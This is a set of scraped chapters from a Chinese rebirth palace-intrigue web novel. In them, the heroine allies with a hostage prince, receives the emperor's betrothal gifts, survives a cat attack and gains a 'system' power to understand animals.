“城府深,心狠手辣……”她喃喃自语,清澈的眸子中却不见丝毫惧意,反而闪烁着跃跃欲试的光芒,嘴角勾起一抹笑意,“这南疆世子,倒真是个妙人。” 她缓缓起身,走到窗边,推开雕花窗棂,目光落在院中那株傲然挺立的白玉兰上,任凭带着淡淡玉兰花香的清风拂过脸颊,吹散心中最后一丝犹豫。 “小姐?”紫冥略带疑惑地抬头,却见自家小姐身姿纤弱,仿佛风一吹就能倒下,可那双清澈的眸子中,却闪烁着与柔弱外表截然不同的睿智光芒。 “你说,”容蓁忽 6. 执棋 《奉旨为后,但撕了皇后剧本(重生)》全本免费阅读 雕花木窗半掩,细密的雨丝斜斜地飘进来,在窗台积起浅浅一滩水。 容蓁指尖轻轻抚过冰凉的窗棂,像是没有听出他的拒绝之意,微微一笑,上前一步,将手中的食盒高高地举到他面前。 “萧世子,这是我的一点心意,还请不要拒绝。” 她声音轻柔,带着几分江南女子特有的吴侬软语,杏眸中闪烁着期待,让人难以拒绝。 萧誉负手而立,身形颀长挺拔,他垂眸看着眼前这个看似柔弱无害的女子,上下打量了一番,眼中闪过一丝不易察觉的审视。 眼前的女子,一身月白衣裙,衬托出她肌肤如雪,三千青丝用一支白玉簪挽起,只留几缕发丝垂在耳畔,衬得那张巴掌大的小脸更加精致,眉目如画,唇红齿白,宛若画中仙子,似与这雨幕融为一体。 他才意识到,这女子的美让他有些挪不开眼。 然而,萧誉也从她那双清澈的眸子中,看到了与之柔弱外表不符的沉稳与睿智,这让他心中不禁升起一丝警惕。 他当然知道,这个女人接近他,绝非出于好心。 但他偏偏想要看看,她究竟想耍什么花样。 “既然如此,那便多谢容小姐了。” 他接过食盒,语气依旧冷淡,却不再拒绝。 冰凉的指尖,从她提着食盒的手背上划过。 猝不及防冰凉的触感,使得提着食盒的那只手如触电般,微弱地颤动一下。 容蓁长而密的眼睫轻颤,眼底的波澜稍纵即逝。 她神情镇定地抬眼看他,仿佛不增察觉一般。 而萧誉对她的称呼也不意外,那日宫里相见,以他的本事知晓自己的身份不是难事。若是不知晓,她也如今不必白跑这一趟。 于是,她莞尔一笑,“萧世子何不请问我进去坐坐?” 萧誉眉峰一挑,对容蓁的反应有些意外,那双深邃的眸子一瞬不瞬地看着她,嘴角勾起一抹似笑非笑的弧度,侧身将挡住的门让开,摊手向内对着她,说了一个“请”字。 “多谢萧世子。”容蓁款款入内,屋内中金丝楠木桌上摆放着一套青玉茶具,茶香袅袅,沁人心脾。茶具左侧倒扣着一本未看完的书,她目光扫过桌上的书卷,好奇地问道,“世子方才在看什么书?” “容小姐请坐。”萧誉转身走到桌边,示意容蓁坐下,视线随她的目光移到方才为了打发时日随手翻阅的那本书上,随口答道:“不过是些兵书战策罢了。” 容蓁指尖从书面划过,那卷兵书的封面都已被磨得十分光滑,继续问道:“世子对这些颇有研究?” 被问之人也进屋坐下,端起还有余温的青玉茶盏,轻抿了一口云淡风轻地答道:“身处乱世,总要有些自保的手段。” “世子说的是。”她附和道,“如今朝局纷乱,人心惶惶,如今世子身在异乡,更要多加小心才是。” 萧誉放下茶盏,又沏了一盏新茶放于对面桌上,目光灼灼地盯着容蓁,心中却是在仔细辨别她话里的意思,纤长的手指在茶盏的杯沿边有意无意地滑动,片刻后才开口问道:“容小姐是在关心本世子,亦或是在要挟本世子?” 容蓁被他那灼热的目光看得有些不自在,于是浅浅一笑,拿出帕子擦了擦嘴角,“世子说笑了。” 对方也不戳破,只是意味深长地说道:“容小姐果然聪明,难怪皇上会如此器重你。” 容蓁闻言黛眉轻蹙,一时不知“器重”二字从何说起。 不过转念想起,那日进宫的情景,就连熟悉楚绍的长公主那样的人都会有这样的错觉,何况眼前这个初来乍到之人。 “世子谬赞了。”容蓁淡然一笑,倒也不打算解释,就算解释了,他也未必能信,索性转移话题道,“不过,小女子有一事不明,不知可否请教?” 她迎着那道灼热的目光直视着萧誉,语气认真。 “容小姐请讲。”后者的眼中闪过一丝兴趣。 “不知世子可知,那晚想要刺杀您的人是谁?”容蓁问道,语气中带着一丝试探。 萧誉闻言,深邃的眸子中闪过一丝寒光,薄唇瞬时紧抿。 房间内,气氛霎时压抑许多。 片刻后,他不答反问道:“那若依容小姐所见,此事应是何人所为?” 容蓁看了萧誉一眼,知晓对方何尝不是在试探自己,便故作沉吟道:“小女子愚钝,实在不知。不过……” 她顿了顿,黛眉轻蹙,托腮若有所思道:“这世上,想要世子性命的人,应该不少吧?” 对面之人闻言愣了一下,反应过来后不怒反笑。 他盯着容蓁,仿佛要将她看穿一般,“既然容小姐如此聪明,不如猜猜看,我这次来盛京,究竟是为了什么?” “小女子不知,还请世子明示。”容蓁故作疑惑道。 萧誉嘴角微勾,“本世子此次前来,是为了……” 他故意拉长了尾音,目光紧紧地锁住容蓁,眼中闪过一抹戏谑,心中突然冒出一个念想。 他看着她,薄唇轻启,吐出两个字:“你猜。” 这两个字,轻飘飘的,却仿佛带着千钧之力,重重地砸在容蓁心上。 好一个萧誉!竟然戏谑她! 萧誉似笑非笑地看着她:“怎么,容小姐想打探我的虚实?” 哪怕她心中早已咬牙切齿,但面上嘴角微扬,将萧誉方才的话当做一缕青烟消散而去。 抬眸瞬间,两人目光交汇,仿佛有火花碰撞,空气中弥漫着一股微妙的气氛。 “世子说笑了,”她轻笑一声挪开眼,眉眼弯弯,似一朵清雅的兰花,却又带着几分不容忽视的锐利,“我如何敢打探萧世子的虚实?” “哦?”萧誉挑眉,语气中带着几分玩味,“那容小姐以为,我是真病,还是假伤?” “世子龙章凤姿,自然不会轻易受伤。”容蓁巧妙地避开了萧誉的试探,语气不卑不亢,“只是这天子脚下,盛京之中,暗流涌动,世子初来乍到,还是小心为妙。” “容小姐确实是在关心我。”萧誉身子微微前倾,深邃的眸子紧紧地锁住容蓁的视线,仿佛要将她看穿。 容蓁心中一凛,却不动声色地与他对视,“世子远道而来是楚燕贵客,我自然希望您平安无事。” “平安无事?”他轻笑一声,语气中带着几分自嘲,“容小姐何尝不知,我此次前来,是为质,而非为客。” “质与客,不过一字之差,却有天壤之别。”容蓁轻叹一声,语气中带着几分同情,“世子天纵奇才,却被困于此,实在令人惋惜。” “惋惜?”萧誉眼中闪过一丝冷意,“容小姐在可怜我?” “不敢。”容蓁垂下眼眸,掩去眼底的复杂情绪,“小女子只是觉得,以世子的本事,不该被困于这方寸之地。” “哦?那依容小姐之见,我该如何?”萧誉饶有兴致地看着容蓁,想看看她还能说出什么惊人之语。 容蓁深吸一口气,抬眸直视着萧誉的双眼,语气认真,“我想与萧世子合作。” “合作?”萧誉饶有兴致地重复了一遍,示意容蓁继续说下去。 “不错,合作。世子想摆脱质子身份,有所建树重回南疆;而我,也不想成为这深宫内斗的牺牲品。”容蓁语气坚定,目光灼灼,“如今这朝堂之上,风云变幻,你我二人皆是被困于棋局之中,不得自由。” 她顿了顿,目光扫过不远处矮桌上黑白交错的棋子,继续说 7. 纳采 《奉旨为后,但撕了皇后剧本(重生)》全本免费阅读 萧誉薄唇轻启,笑意却不达眼底,深邃的眼眸中似有暗流涌动。 容蓁闻言,嘴角勾起一抹笑意,眼波流转间,尽显聪慧狡黠:“那便静候佳音了。” 她起身,福了福身,姿态优雅,裙摆如水波般轻轻荡开,留下一抹清幽的香气。 萧誉目送着容蓁离去,修长的手指轻轻摩挲着手中的黑色棋子,眸色深沉,直至方才坐在对面的人完全消失在视野中,才一子落入棋盘中,一盘死局瞬间有了生机。 而另一边。 车轮碾过青石板路,发出轻微的辘辘声,车厢内熏着淡淡的香,却掩盖不住空气中那一丝若有似无的甘松香气,是残留在她衣物上的气味,这味道在古刹那晚她也闻到过。 容蓁掀开车帘一角,回头望着城南别院逐渐远去的飞檐斗拱,萧誉的话语在她耳边回响,每一个字都像是一颗石子,在她平静的心湖中激起阵阵涟漪。 “容小姐,这盘棋,本世子,陪你下。” …… 容蓁心中冷笑,他的话说得漂亮,这究竟是一句承诺,还是仅仅只是试探? 他的话里,究竟有几分真,几分假? 他那双深邃仿佛能洞悉一切的眼睛里,又藏了哪些让人捉摸不透情绪。 她并非不谙世事的闺阁小姐,重活一世的她深知人心难测,更何况是萧誉这样城府极深的南疆质子。 容蓁垂下眼帘,掩去眸中复杂的情绪。 她不相信这世上会有无缘无故的善意,更不相信萧誉会如此轻易地答应与她合作。 但至少,他们现在不是敌人。 想到此处,容蓁紧绷的神经微微放松了些许。 她放下车帘,闭目靠在软垫上,指尖轻轻摩挲着袖口,将心思重新放回与萧誉的谈话中,试图从中分析出更多方才未曾捕捉到的信息。 从始至终,萧誉都表现得游刃有余,仿佛一切都在他的掌控之中。 他冷静,睿智,城府深不可测。 即便如此,他是人,不是神,没有人是无懈可击的。 他身为质子,被困于此,这盛京必然有他极其渴望得到东西,好让他甘心来到这里,再重回故土后,得到他更想得到的东西。 是人,就会有欲望。 而这,正是她可以利用的地方。 “吁——” 车轮碾过青石板的声音戛然而止,车身微微一晃。 容蓁从思绪中抽离,眉心轻蹙。 “可是到了?”容蓁放下手中攒着的一柄并蒂莲的团扇,声音清脆如珠玉落盘。 “回小姐,还未到府上,只是街上现有些热闹,怕惊扰了小姐,故此让马慢了下来。” 车外,车夫回答道。 热闹? 容蓁心中疑惑更甚,细闻车外熙熙攘攘的声音,确实要比平日更胜些。 于是,她再度掀开车帘举着团扇掩面,轻轻掀开车帘一角,映入眼帘的是一片耀眼的红色。 永乐大街上,长街十里,红妆望不到尽头,绸缎如水,流光溢彩,仿佛一条蜿蜒的火龙。 这是哪家姑娘说媒,竟有如此排场? 浩浩荡荡的队伍绵延不绝,喜乐声声声入耳。 “这是……”容蓁疑惑出声,清丽的眉眼间染上一丝不解,心中同时升起一丝不祥的预感。 还未等她细想,车夫已经驾着马车到了府门。 马车缓缓停在容府门前,早有门房手里拿着脚蹬候在那儿,见到容蓁下车,立刻满脸堆笑地迎上来:“小姐,您可算回来了,宫里边儿来了人……” “小姐。”门房老李快步迎上来,脸上带着掩饰不住的喜色,“恭喜小姐,贺喜小姐!” 容蓁不动声色地打量着老李,心中不详的预感更胜,嘴上只淡然问道:“何喜之有?” 老李压低声音,语气难掩激动:“皇上今日派了宫里的人来府上,说是来给咱们小姐您纳采和纳征的!” 纳采,纳征…… 容蓁闻言,明艳的脸上眸色一沉,脸色微变。 “我知道了。”容蓁淡淡打断他的话,抬脚迈入府门。 门房愣了一下,随即反应过来,连忙追上去:“恭喜小姐,这可是天大的喜事啊,您就要成为皇后了!” 皇后... 容蓁脚步微顿,脑海中闪过上一世在宫中如履薄冰、度日如年的画面,唇角的笑意愈发清冷。 她没有接话,径直穿过抄手游廊,朝正厅走去。 刚走到正厅门口,就听到里面传来一阵爽朗的笑声,是父亲容玉山的声音。 “岳父远道而来,辛苦了,快请上座!” 容蓁心中一动,难道是... 她加快脚步,撩起珠帘走进正厅,果然看到一位身穿紫色锦袍、精神矍铄的老者坐在主位上,正与父亲相谈甚欢。 “外祖父!”容蓁惊喜地唤了一声,盈盈一拜,“蓁儿给外祖父请安。” 来人正是她的外祖父——宣平侯崔元钧。 “好,好。”崔元钧看着容蓁,顿时眉开眼笑,眼中满是慈爱,连忙起身将她扶起来:“蓁儿,长大了许多,也越发标致了。” 容蓁乖巧地站在他身边,眼眶微微泛红:“外祖父,您怎么来了?” “自然是来给你撑腰的。”崔元钧拍了拍她的手,语气慈爱却又不失威严,“你乃容氏与清河崔氏的子孙血脉,就算皇室想娶,也绝非一件易事。随意搬出一道遗旨,就想让我们奉旨,哼!” 崔元钧气得唇上的胡须也跟着呼吸起伏,哼了两句,才抬手捋了捋。 容蓁心中一暖,眼角余光瞥见父亲担忧的眼神,她轻轻摇了摇头,示意自己没事。 崔元钧看着容蓁,眉头一竖,严肃地问道:“蓁儿,你老实告诉外祖父,嫁给皇上,可是你心甘情愿的?” 容蓁垂下眼帘,点头轻声道:“蓁儿……心甘情愿。” 她也别无选择。 崔元钧叹了口气,他知道,以容家的处境,容蓁的选择的确不多,而每条选择也都并非是上上策。 “外祖父知道你聪慧过人,也难为你明明是女儿身,却还要担负起家族的兴荣昌盛,但后宫并非善地,你万事都要小心谨慎。”崔元钧语重心长地叮嘱道。 “蓁儿明白。”容蓁点点头,握住老者布满青筋和褶皱,但令她十分安心的手掌,轻言细语道:“外祖父放心,蓁儿会保护好自己的,也会护好容氏和崔氏!” 容蓁垂下眼帘,遮住眸中流转的光芒,语气乖巧温顺。 她轻轻抚平裙摆上的褶皱,指尖却无意识地摩挲着绣线,像是在思考什么。< 8. 对垒 《奉旨为后,但撕了皇后剧本(重生)》全本免费阅读 盛京,看似繁华,实则暗流涌动。 容蓁走到窗边,推开雕花窗棂,晨风挟着淡淡的花香扑面而来,却吹不散她心中的烦闷。 楚绍猜忌心重,朝堂之上党派林立,明争暗斗从未停歇。 而她容家,百年世家,功高震主,早已被楚绍视为眼中钉,肉中刺。 前世,她天真烂漫,以为只要真心待人,便能换来真心相待,家族平安。 直到容家满门抄斩,她才明白,在这深宫之中,帝王最是那无情无心之人,只有无穷无尽的算计。 这一世,她要保护家人,守护容家百年基业。 “绿芜,研墨。” 容蓁走到书桌前,纤细的手指轻轻抚过铺开的宣纸,脑海中开始浮现出前世楚绍与她大婚后七年间发生的一幕幕。 那是容家败落的开端,也是她人生中最黑暗的时刻。 七年里,先是江南水患,容家被诬陷贪污赈灾款,紧接着便是前线告急,二哥被扣上贪功冒进的罪名被逼交出虎符。 一桩桩,一件件,环环相扣,最终将容家推向了万劫不复的深渊。 而这一切的幕后黑手,正是那个看似温文尔雅,实则心狠手辣的帝王。 彼时她被囚禁冷宫,不曾亲眼目睹父亲如何惨死狱中,兄长如何被押赴刑场。 “皇上,你宁可相信那些片面之词,也不愿信我容家世代忠良吗?!”父亲下狱前的怒吼,至今仍在她耳边回响。 而楚绍只是冷冷地看着这一切,眼中没有半分怜悯,只有冰冷的算计。 容蓁握紧手中的狼毫,指节泛白。 “小姐,您怎么了?”绿芜察觉到容蓁的情绪变化,担忧地问道。 “无事。”容蓁摇摇头,将脑海中的思绪压下,重新拿起毛笔,蘸饱墨汁,在宣纸上写下“七年”二字。 这两个字,笔锋凌厉,杀气腾腾。 写完这两个字,她放下狼毫,闭上眼睛,开始在脑海中梳理前世楚绍七年间发生的所有事情,以及那些隐藏在暗处,不为人知的细节。 她要利用这七年时间,扭转容家的命运,也要让那些曾经伤害过她的人,付出应有的代价! - 盛京另一端,城南别院里。 萧誉一身玄色锦袍,坐在书案前,手中拿着的仍是前几日容蓁来时瞧见的那卷兵书,俊美如玉的脸上没有一丝表情,仿佛世间万物都无法引起他丝毫的兴趣。 紫冥悄无声息地出现在书房里时,萧誉第一时间抓起桌上的狼毫,奋力向其挥去。 功力之深肉眼可见。紫冥躲闪迅速,而那只狼毫却是直直地插/进他身后的那面墙体中。 蒙面的紫冥眼色瞬间深沉,两指夹信将其如飞镖般从手中向萧誉的方向投射出去,下一瞬他便消失在这书房中。 萧誉放下手中的兵书,捡起那封信,修长的手指轻轻摩挲着信封上精致的火漆印章,深邃的眸子中闪过一抹不易察觉的异色。 他拆开信封,取出里面的信笺,展开细细阅读起来。 信上的字迹娟秀清丽,带着一股淡淡的墨香,却透着一股不容忽视的凌厉。 然而,真正让他感到惊讶的是信上的内容。 信中详细分析了如今盛京内的局势,指出各方势力之间的明争暗斗已经到了白热化的阶段,稍有不慎便会万劫不复。 她更是直言不讳地表示,容家虽然看似置身事外,但实际上却拥有着不容小觑的实力,若南疆世子是真心实意愿意与容家合作,容家将会成为南疆世子在盛京最坚实的后盾。 萧誉看完信,漆黑的眼眸如同潭底越发深沉。 异国他乡,背靠一个世家大族对一名质子来说,的确具有相当大的诱惑力。 这女人,打蛇真会找七寸。 “世子,昨日楚宫里派人去容府行纳采与纳征礼。”一侍卫模样打扮的男子看着萧誉手中的信笺,忍不住开口询问,“您真的打算插手此事吗?” 萧誉没有立刻回答,只是将信笺随意地扔在桌上,修长的手指轻轻敲击着桌面,一下一下,仿佛敲击在心上。 “易辰你说,这盛京城中,还有比容家更合适的棋子吗?”萧誉终于开口,语气中带着一丝不易察觉的嘲讽。 被叫易辰的男子眉心骤紧,他知道,世子并非真的在询问他的意见。 世子心中,早已有了决断。 “容家,百年世家,根基深厚,却也树大招风。”萧誉站起身,走到窗边,目光深邃地望着窗外。 “如今有他们的皇帝猜忌,朝臣虎视眈眈,容家这棵大树,怕是已经风雨飘摇。” “世子英明。”易辰心中暗暗惊讶,还有他家世子不知道的情报吗? 竟然对楚燕的朝堂局势都了如指掌,幸好自己不是世子的敌人,实在令人心惊。 “容蓁此女,倒是聪明。”萧誉突然话锋一转,嘴角勾起一抹玩味的笑容。 “她知道,想要保住容家,就必须借助外力。” “只是……”易辰有些犹豫,“世子,您真的相信容蓁吗?” “女人,是最不可信的。” - 与此同时,皇宫御书房内。 龙涎香袅袅升起,楚绍一身明黄色龙袍,端坐在紫檀木龙案前批阅奏折,眉头却微微蹙起。修长的手指轻轻敲击着桌面,发出沉闷的声响。 “皇上,该用早膳了。”一旁伺候的太监李公公轻声提醒道。 楚绍头也不抬,只专注着手中批阅的奏折。 李公公见状,也不敢再多言,只好默默地站在一旁伺候着。 突然,楚绍像是想到了什么,放下手中的朱笔,眼中闪过一丝阴霾,抬头看向李德福,问道:“容家那边可有什么动静?” 身旁伺候笔墨的李德福躬身答道:“回皇上,自昨日纳征之后,容家便一直闭门谢客,并无异常。” “并无异常?”楚绍眉头微皱,似乎对这个答案并不满意。 他剑眉微蹙轻哼一声,深邃的眸子中闪过一抹疑惑。 他原本以为,容蓁只是一个空有美貌,毫无心机的世家小姐,却没想到,她竟然如此聪慧敏锐,甚至能够察觉到他的意图。 9. 猫袭 《奉旨为后,但撕了皇后剧本(重生)》全本免费阅读 芒种才过,整个盛京便入了梅雨季,万条雨丝若烟柳云花,纱帛样地笼住整个盛京。 西北角的御道上,四个小黄门抬着顶绸盖步辇并着五名宫人,在雨中静待。 还时不时地伸直了脖子,视线穿过朱红色的大门向宫外瞧去。 约莫又过了半炷香,才远远瞧见宫外一辆马车正缓缓驶来。直到马车停下,几人清晰地看清是右相容府的车牌,才立即站直了身子,等待车内那位贵人。 马车很快在宫门外停稳。 在旁持伞的绯裙圆脸婢女,抖尽雨露才靠近马车边,待车夫放好脚蹬后,伸出未持伞的另一只手,低声说道:“小姐,到了。” 马车软绸被掀开,露出一只纤白匀停的手搭了上去。 从马车内走出一位貌若天仙般的的女子,等候的几人纵使在这宫内见多了后宫美人,但也忍不住看直了眼。 直到那婢女伺候着把扶下马车女子,重新打起伞走到她的侧后方,那几人才惊觉过来,堪堪收回了视线垂下头来。 容蓁再次通过这扇朱红色大门时,心中不仅感叹,前世日日想出去,如今倒是天天进来,多少有些讽刺。 嘴角如寒冬冰花的笑意在看见向她走来的掌事嬷嬷时,悄然隐去,脸色恢复如常。 “这位应是容家小姐吧!” 才踏脚踏进宫门,一位瞧着有些年岁的女子上前来,看着容蓁试探地问。 这位女子,容蓁前世见过几次,是淑贵妃跟前儿伺候的掌事嬷嬷。 她点点头,稍稍福了福身,语气温和道:“见过嬷嬷。” 那嬷嬷见状立即侧过身子,伸手虚扶一下她,“容小姐折煞奴婢了。” 容蓁只微微一笑,不置可否。 那掌事嬷嬷扶着她走向辇,解释道:“陛下特意为容小姐准备了辇驾,雨路湿滑,小姐可得小心坐稳了。” 待容蓁坐上辇驾,掌事嬷嬷伺候着把辇上帘幔放好,重新打起伞走到前头引路。 才路过了春华门,一群黑影从巷子深处蹿出,速度之快令人措手不及。 宫人们立刻将辇围在中间,以身作为屏障。 “保护辇驾!”掌事嬷嬷厉声提醒道。 “发生何事?”外面骚动声惊扰到辇中人,帷幔再度被容蓁掀开,她探出一点头向外望去。 冗长的巷道中,数十只大大小小、毛色各异的猫儿,正从四面八方涌来,在雨中游走如影鬼魅。 这些巧灵的生物眼神警惕,且带着几分愤怒,落地后立即向步辇包围而来,包围之势迅速形成圆阵,有些甚至纷纷越过或绕开侍卫试图直扑向辇。 “咚咚”…… 辇被锐利的爪子抓挠,发出刺耳的声响,在这幽静的巷道里格外骇人。 几回合下来,好几名宫人的衣衫被猫儿尖锐的爪子抓破。 宫人们手足无措,纷纷寻找遮挡物自保。 留下辇与四名小黄门,在包围圈越发小的猫群中心。 容蓁坐在辇中,心如鼓槌般狂跳着。 雨丝绵绵,天地间仿佛只剩下了这无尽的濛濛细雨。 辇外喵呜声此起彼伏,如同千军万马般汹涌而至,每一次猫爪击打辇边的声响都让她头皮发麻。 【系统传输中,请宿主等待】 就在这时,脑海里突然冒出系统提示音。 “系统,这是怎么回事?” 没有回应…… 容蓁紧张地听着辇外的动静,直到系统声再次响起。 【传输完毕!】 与此同时,她竟清晰地听到一只大猫发出一阵愤怒吼声:“是她杀了我们母亲!报仇!” 容蓁愕然,她竟听懂了这只猫的话! 她诧异地扫视四周,从周围人面色来看,应该唯有她一人能够听得懂,怪哉! 思索间,又是一阵低吼,随着辇顶抖动,一只猫轻松地落在辇顶。 猫群早已冲破小黄门的防线。 宮女们尖叫不止。 突然,一名宫人袖口被锋利爪子划开,瞬间血迹染红外衫。 随即,那只方才发出怒吼的,通体毛色雪白的猫儿轻盈地跳进辇中。 容蓁全身紧绷,注视着那猫儿的一双异瞳,看着它再次向前迈了一步。 月牙儿般锋利的爪子扣住辇板,做出随时出击的姿态,眼神狠厉,低吼一声,“是你杀了我们母亲!” “不是我。”未及深思,容蓁蜷在辇的角落,眼睛异常坚定反驳道。 头猫露出警惕眼神,显然没想到人类能听懂它们的语言,瞳孔猛缩成缝隙问道:“你能听懂?” 容蓁下意识地点了点头。 那猫儿眯了眯琥珀般的眼睛,盯着她问道:“为何杀害我母亲!” 容蓁摇头否认,压低声音试图与它沟通,“我并没有伤害你们的母亲。” 她顿了顿,又开口道:“我并非宫妃,未生活于此,所以从未见过你们的母亲。” 辇外,其他猫绕着辇来回走动起来,显然已将辇包围得水泄不通。 疲于应对猫群的宫人,此时无暇听见辇中的声音。 “可你身上母亲的气味如何解释?”提及母亲时,头猫那双异瞳锐利如刃般直勾勾地盯着容蓁。 气味?容蓁下意识朝自己身边放着的香囊看去。 她将香囊拿在手中,递至那猫儿跟前,“这个香囊一直放于辇中,可是这里面的古怪?” 那猫纵身跳至容蓁的身旁,利爪瞬间没入辇凳中,警惕地凑近闻了闻那香囊。 闻了几旬,转而又闻了闻容蓁身上的气味后,猫眼紧紧地盯着她好一会这才跳开。 “喵——”它低沉且回应了几声,眼神中难以捉摸地变化着,然后跳出辇驾。 透过辇的软绸,容蓁清晰地听见它向猫群发出的号令。 不多时,那些原本凶恶异常、眼含杀意的野猫开始退去、颠倒跑开,最终只剩下那只头猫转身回看辇两眼,如同鬼魅再次消失在雨巷中。 容蓁这才深深呼出一口气,紧绷的身子歪斜地靠在辇背上。 危机虽除,但她眼中满是冰寒。 如若她猜得不错,这该是淑贵妃送给自己的见面礼。 思及此处,沉入脑海深处的思绪被扯出,手里的绢帕被她紧紧攥在手中,眼里的恨如烈火般似要全都涌出。 - 景和十二年。 除夕夜的盛京,雪花如柳絮般纷扬而落,一簌簌雪堆在瓦片上淹没了漆黑的痕迹,皇宫在大雪覆盖之下银装素裹显得格外肃静。 “姐姐怎么会可怜至此?” 容蓁收回望着 10. 赏花宴 《奉旨为后,但撕了皇后剧本(重生)》全本免费阅读 【恭喜宿主,成功解锁‘兽语者’技能!”】 脑海中,系统的声音突兀响起,容蓁指尖微不可查地颤了颤,但她此时却无暇顾及。 辇驾在雨中又行进了一炷香的时辰,才进了昭华殿。 今晨早间容蓁收到宫里递来的请帖,请贴上写着在御花园设宴,邀各家小姐夫人赴宴赏花。 原本还不知昭华殿的这位主打的是何心思,现在看来大抵是想让她知难而退。 遭遇这样的事情后,若是换做前世,她或许正好以此吃人不吐骨的地儿为借口,装疯卖傻一阵兴许能逃过此劫。 偏生这回是她自己主动接旨,即便前世未曾遭遇猫袭,如今遇上了,现在也未必轻易能够唬住她。 一路过来湿气重,她不喜潮闷,但终是长呼一口气,散去脸上的不耐起身下了辇。 “容小姐到了,你快些进去给贵妃娘娘传个话儿。”掌事嬷嬷拿出帕子,仔细擦了擦脸上夹杂着雨水的汗珠,一边打发了宫人去传话。 容蓁安静地站在殿外,精致的小脸上脸色有些苍白,她抬首看了看匾额上的三个大字,面上平静的没有半分情绪,只是未有人瞧见那方被她紧紧攥在手中的帕子。 那掌事嬷嬷打发完人后,赔笑脸道:“容小姐稍等片刻。” 说完又悄悄地偷看了她那张苍白的脸好几眼,这才收回视线。 方才的事情让她也是措手不及,并不知晓突然从哪儿冒出来的那些猫,若是将人伤着半分,怕是她这个掌事嬷嬷的事也做到头了。 瞧着容蓁平静的模样,她才松了一口气。直到殿内来人说:“贵妃娘娘在暖阁内,正等着容小姐。” 传话的宫人说完,未再多言转身领着容蓁向殿内走去。 昭华殿内布置极尽奢华。 幕帘被人掀开,入目是燃着白蜡用青云纱罩着,烛光摇晃婆娑,忽明忽暗。 她在芯红的搀扶下,脚步虚浮地走进殿内,才转过身就看见向坐在正中央的宋冉琴和一旁正在逗鸟楚绍,只看一眼便低下头,掩饰眼中呼之欲出的戾气。 两人在她低下头的一瞬,目光同时落在她身上。 那一眼,楚绍一副温润如玉的模样,看着她的眉眼弯弯,没有任何帝王架子。 而端坐正中央的宋冉琴也是一脸和气温婉的模样看着她。 但她知道,藏在他们温和面具下的是如何丑恶的嘴脸以及狠辣手段。 再抬眸时,她眼角含泪,苍白的脸上堆着得体的笑,故作镇定端庄地朝二人行礼。 “臣女参见皇上、贵妃。” 她声音柔弱,带着一丝不易察觉的颤抖,仿佛风中摇曳的娇花,随时都会倒下。 楚绍的目光落在她身上,眉头微不可查地皱了皱。 瞧着她苍白得没有一丝血色的脸,加之一副柔弱无力的模样,急切朝她走去,伸出手想拉过她的,却被后者巧妙地躲过,手停在空中半晌后才默默收回,尴尬地轻咳一声,温声问道:“是朕唐突了,方才发生何事了,你怎的这般模样?” 宋冉琴看在眼里,眸光里的情绪变了变,却未出声只静静地瞧着。 楚绍耳边关切的问话,容蓁却下意识退半步,像是受了极大的惊吓一般,她摇了摇头声音有些颤抖道:“无事,让陛下担忧了。” 说话时仿佛又想起当时可怕的场景,没有血色的脸上越发苍白像是害怕极了,突然顿住,不再言语。 那人闻言,眉眼冷了几分,帝王之气陡然盘踞周身,凤眸一扫殿内气氛瞬间压迫起来。他转身重重坐下,面色阴沉指了一同回殿的宫女沉声问道:“你来说。” 那宫女“噗通”跪下,哆嗦道:“回……回陛下,方才在甬道容小姐坐的辇被一群野猫围攻,受了惊些吓。” 问话之人闻言眉头深锁,眼底闪过轻微的诧色。 半响后,他起身将低头垂眼的容蓁拉着坐下,安慰道:“让你受惊了。” 他说话的声音很轻,与方才询问宫女的语气完全不同。 说着又轻轻拍了拍她背,算是安抚。 他的目光,缓缓扫过殿内众人,最终,落在了坐在一旁,一直沉默不语的淑贵妃身上。 “淑贵妃,你说,这件事,你怎么看?” 他的语气,听不出喜怒。 淑贵妃微微垂眸,掩盖住眼底一闪而过的慌乱,语气平静地说道:“回皇上,臣妾不知。” 楚绍深深地看了端坐的淑贵妃一眼,眼中闪过一丝复杂的情绪。 “来人,去查!给朕彻查此事!” “是,皇上!” 殿外,侍卫领命,快步退了出去。 楚绍的目光,再次落到淑贵妃身上。 容蓁垂下眼帘,长长的睫毛在眼睑下方投下一片阴影,遮住了眼底的寒意,唇角勾起一抹不易察觉的冷笑。 - 昭华殿内,檀香袅袅,轻纱幔帐低垂,为这金碧辉煌的宫殿增添了几分静谧。 “启禀皇上,淑贵妃娘娘,各府贵女夫人已陆续抵达御花园。”一名小太监躬身禀报道。 “知道了。”楚绍淡淡应了一声,目光转向容蓁,见她原本苍白的脸色已恢复红润,“容小姐身子可还好些?” 容蓁微微一笑,眼波流转间似有千言万语,“多谢皇上关心,臣女已经无碍了。” 她扶着芯红的手缓缓起身,柔弱中带着几分坚韧,再次朝着楚绍福了福身。 楚绍眸光微闪,不着痕迹地将她的神情尽收眼底。 “既如此,那便随贵妃一同前往御花园吧,朕还有事处理。”楚绍说完,率先迈步走出昭华殿。 淑贵妃温柔一笑,意味深长地看了容蓁一眼,“容小姐,请。” 容蓁微微颔首,莲步轻移,跟在淑贵妃身后,眼底闪过一抹冷意。 御花园中,百花争艳,莺歌燕舞,一片热闹景象。 各府贵女夫人皆盛装打扮,三五成群地聚在一起,赏花品茗,谈笑风生。 见淑贵妃和容蓁到来,众人纷纷起身行礼。 “臣妇/臣女参见淑贵妃娘娘,千岁千岁千千岁。” 淑贵妃上首落座。 “都起来吧。”她淡淡开口,目光扫过众人,“今日设宴御花园,只为与大家赏花同乐,诸位不必拘礼。” “谢淑贵妃娘娘。”众人起身。 不约而同地又朝容蓁福了福身。 前两日皇上派人去容府纳采纳征,十里红街的场景她们都瞧在眼里的。虽然还不知这位容小姐会封个什么位分,如今既有淑贵妃亲自领着来 11.关注 《奉旨为后,但撕了皇后剧本(重生)》全本免费阅读 御花园中,原本各家夫人小姐三三两两聚在一起谈笑风生,饮酒赏花,现下却被落水事情败得兴致全无。 众人皆被姜雅柔落水时的狼狈不堪吸引,将莲花池围得水泄不通。看着好不容易被人救上来的她浑身湿透的衣衫,可怜之余在场人都心知:今日之后兵部尚书家的这位小姐,怕是谈不上一门好的婚事了。 不禁都为刚刚的惊险捏了一把汗,又暗自庆幸落水的不是自己,也就更不愿意与此事沾染上关系。 “怎么回事?是谁方才推了姜小姐?!”淑贵妃身边的嬷嬷拨开人群,拿来一件干净的外衣为姜雅柔披上,紧接着一番厉声质问,来掩饰语气中的一丝慌乱。 到底是朝中二品官员的家眷,那兵部尚书又暗附淑贵妃母族,可万不能因此事心生嫌隙。 于是,那嬷嬷凝了凝神色,提高声量再次询问了一遍。 